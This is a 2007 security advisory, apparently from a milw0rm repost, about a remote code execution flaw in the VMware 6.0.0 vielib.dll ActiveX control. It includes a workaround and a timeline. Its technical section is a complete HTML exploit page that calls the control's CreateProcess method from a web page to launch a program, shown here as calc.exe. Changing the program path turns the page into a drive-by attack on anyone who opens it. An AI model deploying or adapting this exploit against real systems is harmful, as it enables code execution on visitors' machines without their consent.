:. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:

VmWare Inc version 6.0.0 CreateProcess & CreateProcessEx Remode Code Execution Exploit
======================================================================================

Internal ID: VULWAR200707300.
-----------

Introduction
------------
vielib.dll is a library included in the Program Vmware Version 6.0.0 from Vmware Inc. Company.


Tested In
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- Windows XP SP1/SP2 french/english with IE 6.0 / 7.0.


Summary
-------
The CreateProcess & CreateProcessEx method doesn't check if they're being called
from the application, or malicious users. Remote Attacker could craft a html page
and execute code in a remote system with the actual user privileges.


Impact
------
Any computer that uses this Sofware will be exposed to Remote Execution Code.


Workaround
----------
- Activate the Kill bit zero in clsid:0F748FDE-0597-443C-8596-71854C5EA20A
- Unregister vielib.dll using regsvr32.


Timeline
--------
July 30 2007 -- Bug Discovery.
July 30 2007 -- Exploit published.


Credits
-------
 * callAX <callAX@shellcode.com.ar>
 * GoodFellas Security Research Team  <goodfellas.shellcode.com.ar>
 

Technical Details
-----------------


<HTML>
<BODY>
  <object id=_9090909090 classid="clsid:{0F748FDE-0597-443C-8596-71854C5EA20A}"></object>
<SCRIPT>

function _d0_() {
 
 ba="c:\\windows\\system32\\calc.exe"
 ad="c:\\windows\\system32\\calc.exe"
 fO="c:\\windows\\system32\\"
 Od=1

_9090909090.CreateProcess(ba, ad, fO, Od)
 }

</SCRIPT>
<input language=JavaScript onclick=_d0_() type=button value="Proof of Concept">
</BODY>
</HTML>

# milw0rm.com [2007-07-30]
